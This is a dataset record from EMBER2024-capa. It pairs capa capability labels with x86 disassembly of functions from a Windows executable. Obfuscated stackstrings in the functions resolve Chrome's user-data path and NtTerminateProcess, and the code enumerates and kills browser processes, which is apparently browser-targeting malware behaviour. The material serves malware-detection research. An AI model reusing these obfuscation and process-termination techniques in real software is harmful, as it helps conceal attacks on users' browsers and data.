joyce8/EMBER2024-capa huggingface dataset:
Function at 0x452200
Capabilities:
Get common file path

Disassembly:
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
add eax, 0x10
mov dword [0x692374], eax
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
add eax, 0x10
mov dword [0x692378], eax
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
add eax, 0x10
mov dword [0x69237c], eax
mov word [0x692393], 0x6144
mov word [0x69239a], 0x6166
mov dword [0x692396], 0x65445c61
mov dword [0x692382], 0x656c676f
mov word [0x692380], 0x6f47
mov word [0x69239d], 0x746c
mov dword [0x6923a2], 0x72656665
mov word [0x69238d], 0x555c
mov word [0x6923a7], 0x636e
mov word [0x692390], 0x7265
mov byte [0x69239c], 0x75
mov word [0x6923a0], 0x7250
mov dword [0x692389], 0x656d6f72
mov byte [0x69239f], 0x5c
mov word [0x692387], 0x6843
mov byte [0x692395], 0x74
mov byte [0x692392], 0x20
mov dword [0x6923aa], 0x6f470073
mov byte [0x6923a9], 0x65
mov byte [0x692386], 0x5c
mov byte [0x6923a6], 0x65
mov byte [0x69238f], 0x73
mov word [0x6923cf], 0x4420
mov word [0x6923c3], 0x445c
mov dword [0x6923ca], 0x65575c74
mov dword [0x6923d1], 0x617461
mov word [0x6923c8], 0x6c75
mov word [0x6923b1], 0x5c65
mov word [0x6923bd], 0x2072
mov word [0x6923b7], 0x656d
mov word [0x6923ae], 0x676f
mov word [0x6923c0], 0x7461
mov dword [0x6923b3], 0x6f726843
mov word [0x6923ba], 0x7355
mov word [0x6923c5], 0x6665
mov byte [0x6923bc], 0x65
mov byte [0x6923c2], 0x61
mov byte [0x6923bf], 0x44
mov byte [0x6923c7], 0x61
mov byte [0x6923b0], 0x6c
mov byte [0x6923ce], 0x62
mov byte [0x6923b9], 0x5c
mov dword [0x6923ea], 0x776f646e
mov word [0x6923f1], 0x7275
mov word [0x6923d8], 0x5754
mov dword [0x6923db], 0x4d5c4552
mov dword [0x692403], 0x68746150
mov dword [0x692408], 0x7268635c
mov dword [0x69240c], 0x2e656d6f
mov dword [0x6923fa], 0x6e6f6973
mov dword [0x692410], 0x657865
mov dword [0x6923e4], 0x5c74666f
mov dword [0x6923f5], 0x6556746e
mov word [0x6923d5], 0x4f53
mov dword [0x6923e0], 0x736f7263
mov byte [0x6923da], 0x41
mov byte [0x6923f9], 0x72
mov dword [0x6923fe], 0x7070415c
mov word [0x6923ee], 0x5c73
mov word [0x6923f3], 0x6572
mov word [0x6923e8], 0x6957
mov byte [0x6923f0], 0x43
mov byte [0x6923d7], 0x46
mov byte [0x692407], 0x73
mov byte [0x6923df], 0x69
mov byte [0x692402], 0x20
push 0
push 0x1c
push 0x691f63
push 0
mov word [0x691f5d], 0x2e45
mov dword [0x691f58], 0x4f524843
mov word [0x691f60], 0x4558
mov byte [0x691f5c], 0x4d
mov byte [0x691f5f], 0x45
mov byte [0x691f62], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x692380
push 0x691f63
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0
push 0x1c
push 0x692067
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x6923ac
push 0x692067
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
mov eax, 0x691f58
ret
Function at 0x452570
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x610820
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x685680]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 4], 1
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x70], eax
mov byte [ebp - 4], 2
push dword [ebp + 0xc]
lea eax, [ebp - 0x70]
push dword [ebp + 8]
push str.__s___s
push eax
call fcn.00402f20
push 0x40
lea eax, [ebp - 0x58]
push 0
push eax
mov dword [ebp - 0x5c], 0x44
call fcn.005d1b40
add esp, 0x1c
mov eax, 1
push 0x6508f0
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x30], 0x20
mov word [ebp - 0x2c], ax
mov dword [ebp - 0x74], 0
call fcn.0042ea30
mov byte [ebp - 4], 3
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x70]
mov dword [ebp - 0x78], 0
jmp 0x452630
mov edx, dword [esi - 0xc]
test edx, edx
js 0x45277a
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, edx
or eax, ecx
jge 0x452658
push edx
lea ecx, [ebp - 0x70]
call fcn.00403150
mov esi, dword [ebp - 0x70]
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x5c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4526b2
push 0x64
call ebx
push dword [ebp - 0x68]
call edi
push dword [ebp - 0x6c]
call edi
xor edi, edi
lea esp, [esp]
call fcn.00452790
test eax, eax
jne 0x452770
push 0xc8
call ebx
inc edi
cmp edi, 0xa
jl 0x452690
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4526bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp eax, 5
jl 0x452630
xor ebx, ebx
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x74]
add edx, 0xfffffff0
or edi, 0xffffffff
lea ecx, [edx + 0xc]
mov eax, edi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x4526f2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 1
lea eax, [esi + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45270f
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45272f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov esi, dword [ebp + 0xc]
add esi, 0xfffffff0
lea eax, [esi + 0xc]
lock xadd dword [eax], edi
dec edi
test edi, edi
jg 0x452750
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005cd355
mov esp, ebp
pop ebp
ret 0xc
mov ebx, 1
jmp 0x4526cf
push 0x80070057
call fcn.00403360
int3
Function at 0x452790
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x685680]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push 2
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x452815
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x45280e
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x4527e0
lea eax, [ebp - 0x10c]
push eax
push 0x691f58
call fcn.005d3103
add esp, 8
test eax, eax
je 0x452809
lea eax, [ebp - 0x130]
push eax
push esi
call ebx
cmp eax, 1
je 0x4527e0
jmp 0x45280e
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005cd355
mov esp, ebp
pop ebp
ret

Function at 0x452830
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x685680]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
xor esi, esi
mov dword [ebp - 0xb], 0x6c6c642e
mov dword [ebp - 0x10], 0x6c64746e
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 7], 0
mov dword [ebp - 0x24], 0x6554744e
mov dword [ebp - 0x20], 0x6e696d72
mov dword [ebp - 0x1a], 0x6f725065
mov word [ebp - 0x13], 0x73
mov word [ebp - 0x16], 0x6563
mov word [ebp - 0x1c], 0x7461
mov byte [ebp - 0x14], 0x73
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x4528b8
lea ecx, [ebp - 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x690724], eax
test eax, eax
je 0x4528b8
push esi
push edi
call eax
mov ecx, 1
test eax, eax
cmove esi, ecx
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.005cd355
mov esp, ebp
pop ebp
ret 4
Function at 0x4528d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x610701
mov eax, dword fs:[0]
push eax
sub esp, 0x24c
mov eax, dword [0x685680]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x250], ecx
xor ebx, ebx
push eax
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x240], 0x128
mov dword [ebp - 0x248], ebx
call fcn.0042ea30
push ebx
push 2
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
or ecx, 0xffffffff
mov dword [ebp - 0x24c], edi
cmp edi, ecx
je 0x452ac1
lea eax, [ebp - 0x240]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x452ab7
lea edi, [ebp - 0x21c]
shr edi, 0x10
mov dword [ebp - 0x254], edi
lea ecx, [ecx]
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x244], esi
mov byte [ebp - 4], 1
lea eax, [ebp - 0x21c]
test edi, edi
jne 0x4529b1
movzx edi, ax
mov ecx, edi
call fcn.00427040
test eax, eax
je 0x4529d6
push edi
push eax
lea ecx, [ebp - 0x244]
call fcn.00406570
jmp 0x4529d0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4529b4
sub eax, edx
push eax
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x244]
call fcn.004066a0
mov esi, dword [ebp - 0x244]
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x248]
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x452aad
push eax
push esi
call fcn.005d1bd0
add esp, 8
test eax, eax
jne 0x452a6b
push dword [ebp - 0x238]
push eax
push 0x411
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x452a6b
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
push edi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x452a53
lea ecx, [ebp - 0x118]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x452a37
sub ecx, edx
push ecx
mov ecx, dword [ebp - 0x250]
lea eax, [ebp - 0x118]
push eax
call fcn.004066a0
push edi
call fcn.00452830
cmp eax, 1
mov eax, 1
push edi
cmove ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 0xfffffff0
mov byte [ebp - 4], 0
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x452a89
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x24c]
lea eax, [ebp - 0x240]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x452ab7
mov edi, dword [ebp - 0x254]
jmp 0x452970
push 0x80004005
call fcn.00403360
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or ecx, 0xffffffff
mov dword [ebp - 4], 0xffffffff
mov esi, dword [ebp - 0x248]
add esi, 0xfffffff0
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x452ae5
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005cd355
mov esp, ebp
pop ebp
ret 8
Function at 0x456b00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x685680]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x10]
push eax
mov edi, ecx
xor esi, esi
mov dword [ebp - 0xb], 0x6c6c642e
mov dword [ebp - 0x10], 0x6c64746e
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 7], 0
mov dword [ebp - 0x24], 0x6554744e
mov dword [ebp - 0x20], 0x6e696d72
mov dword [ebp - 0x1a], 0x6f725065
mov word [ebp - 0x13], 0x73
mov word [ebp - 0x16], 0x6563
mov word [ebp - 0x1c], 0x7461
mov byte [ebp - 0x14], 0x73
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x456b87
lea ecx, [ebp - 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x690724], eax
test eax, eax
je 0x456b87
push esi
push edi
call eax
mov ecx, 1
test eax, eax
cmove esi, ecx
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.005cd355
mov esp, ebp
pop ebp
ret
Function at 0x456f90
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x685680]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x457013
lea eax, [ebp - 0x134]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x45700c
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x456fe0
lea eax, [ebp - 0x110]
push eax
push dword [ebp + 8]
call fcn.005d3103
add esp, 8
test eax, eax
je 0x457007
lea eax, [ebp - 0x134]
push eax
push esi
call edi
cmp eax, 1
je 0x456fe0
jmp 0x45700c
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp + 8]
add esi, 0xfffffff0
or ecx, 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x457030
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 8]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.005cd355
mov esp, ebp
pop ebp
ret
Function at 0x4572f0
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x610e36
mov eax, dword fs:[0]
push eax
sub esp, 0x154
mov eax, dword [0x685680]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov word [ebp - 0x1b], 0x6572
mov dword [ebp - 0x18], 0x6578652e
mov dword [ebp - 0x20], 0x6c707865
mov byte [ebp - 0x19], 0x72
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea ecx, [ebp - 0x28]
push ecx
push eax
mov dword [ebp - 0x28], 0
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 0x150], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x158], eax
cmp eax, 0xffffffff
je 0x4574bb
lea ecx, [ebp - 0x150]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x4574af
lea edi, [ebp - 0x12c]
shr edi, 0x10
mov dword [ebp - 0x15c], edi
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x154], esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x12c]
test edi, edi
jne 0x4573e4
movzx edi, ax
mov ecx, edi
call fcn.00427040
test eax, eax
je 0x457409
push edi
push eax
lea ecx, [ebp - 0x154]
call fcn.00406570
jmp 0x457403
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4573e7
sub eax, edx
push eax
lea eax, [ebp - 0x12c]
push eax
lea ecx, [ebp - 0x154]
call fcn.004066a0
mov esi, dword [ebp - 0x154]
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.005d1bd0
add esp, 8
test eax, eax
jne 0x45744a
mov edi, dword [ebp - 0x148]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x24]
jne 0x45744a
push edi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
jne 0x45748e
add esi, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x45746b
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x158]
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x4574af
mov edi, dword [ebp - 0x15c]
jmp 0x4573a0
add esi, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4574af
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp - 0x158]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005cd355
mov esp, ebp
pop ebp
ret
Function at 0x4579e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, ecx
cmp byte [esi + 4], 0
je 0x457a1b
xor edx, edx
cmp dword [esi + 0x3cc], edx
jle 0x457a14
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
mov cl, byte [edi + eax]
xor byte [eax], cl
inc edx
lea eax, [eax + 1]
cmp edx, dword [esi + 0x3cc]
jl 0x457a02
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
push 0x686e74
lea ecx, [ebp - 0xc]
call fcn.005cd9eb
push 0x673fa0
lea eax, [ebp - 0xc]
push eax
call fcn.005d3ef0
int3
Function at 0x45e600
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, edx
xor esi, esi
mov ebx, ecx
test edi, edi
jle 0x45e62d
lea ecx, [ecx]
movzx eax, byte [ebx]
lea ecx, [esi*8]
movzx edx, byte [eax + 0x64c428]
xor edx, ecx
dec edi
xor esi, edx
lea ebx, [ebx + 1]
test edi, edi
jg 0x45e610
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x45f120
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov eax, dword [ebx + 0x24]
push edi
test eax, eax
jle 0x45f15d
cdq
mov edi, eax
mov esi, edx
mov ecx, edi
add ecx, dword [ebp + 0xc]
mov eax, esi
adc eax, dword [ebp + 0x10]
push esi
sub ecx, 1
push edi
sbb eax, 0
push eax
push ecx
call fcn.005d49e0
push esi
push edi
push edx
push eax
call fcn.005d4a90
jmp 0x45f163
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push edx
push eax
mov ecx, ebx
call fcn.0045ee30
add esp, 8
test eax, eax
je 0x45f194
push 0x7f8a
push dword [ebx + 0x20]
mov edx, str.winTruncate1
mov ecx, 0x60a
call fcn.0045ed00
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebx + 8]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x45f1cb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x7f8d
push dword [ebx + 0x20]
mov edx, str.winTruncate2
mov ecx, 0x60a
mov dword [ebx + 0x14], eax
call fcn.0045ed00
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x45f220
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x685680]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x45f285
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x45f285
push 0x7fe9
push dword [esi + 0x20]
mov edx, str.winFileSize
mov ecx, 0x70a
mov dword [esi + 0x14], eax
call fcn.0045ed00
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005cd355
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
xor eax, eax
add eax, ebx
adc ecx, 0
mov dword [edi + 4], ecx
mov ecx, dword [ebp - 4]
mov dword [edi], eax
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.005cd355
mov esp, ebp
pop ebp
ret
Function at 0x45ffb0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
mov eax, dword [0x685680]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x690874]
push ebx
push esi
push edi
mov edi, edx
test eax, eax
je 0x45fff0
push eax
push 0x6516cc
lea eax, [ebp - 0x110]
push eax
push 0xe6
call fcn.0045ca10
add esp, 0x10
jmp 0x460075
call fcn.0045e9b0
test eax, eax
je 0x460032
lea eax, [ebp - 0x318]
push eax
push 0xe6
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [ebp - 0x318]
call fcn.0045ea80
mov esi, eax
test esi, esi
jne 0x460055
mov eax, 7
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005cd355
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x218]
push eax
push 0xe6
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x218]
call fcn.0045ebd0
mov esi, eax
test esi, esi
je 0x46001c
push esi
push 0x6516cc
lea eax, [ebp - 0x110]
push eax
push 0xe6
call fcn.0045ca10
push esi
call fcn.005ceead
add esp, 0x14
mov ecx, str.etilqs_
call fcn.0045d380
lea ecx, [ebp - 0x110]
mov edx, eax
call fcn.0045d380
add eax, 0x11
add eax, edx
cmp eax, 0x105
jl 0x4600ae
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005cd355
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x110]
call fcn.0045d380
test eax, eax
je 0x4600ca
lea ecx, [ecx]
cmp byte [ecx + eax - 1], 0x5c
jne 0x4600ca
dec eax
jne 0x4600c0
cmp eax, 0x105
jae 0x460194
mov byte [ebp + eax - 0x110], 0
lea eax, [ebp - 0x110]
push eax
push str._setilqs_
push edi
push 0xf4
call fcn.0045ca10
mov ecx, edi
call fcn.0045d380
mov esi, eax
lea ecx, [edi + esi]
push ecx
push 0xf
call fcn.0045cc00
add esp, 0x18
mov ecx, 3
mov ebx, 0x3e
movzx eax, byte [edi + esi]
xor edx, edx
div ebx
lea esi, [esi + 5]
movzx eax, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [edi + esi - 5], al
movzx eax, byte [edi + esi - 4]
xor edx, edx
div ebx
movzx eax, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [edi + esi - 4], al
movzx eax, byte [edi + esi - 3]
xor edx, edx
div ebx
movzx eax, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [edi + esi - 3], al
movzx eax, byte [edi + esi - 2]
xor edx, edx
div ebx
movzx eax, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [edi + esi - 2], al
movzx eax, byte [edi + esi - 1]
xor edx, edx
div ebx
movzx eax, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [edi + esi - 1], al
dec ecx
jne 0x460115
mov byte [edi + esi], cl
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.005cd355
mov esp, ebp
pop ebp
ret
call fcn.005cde20
int3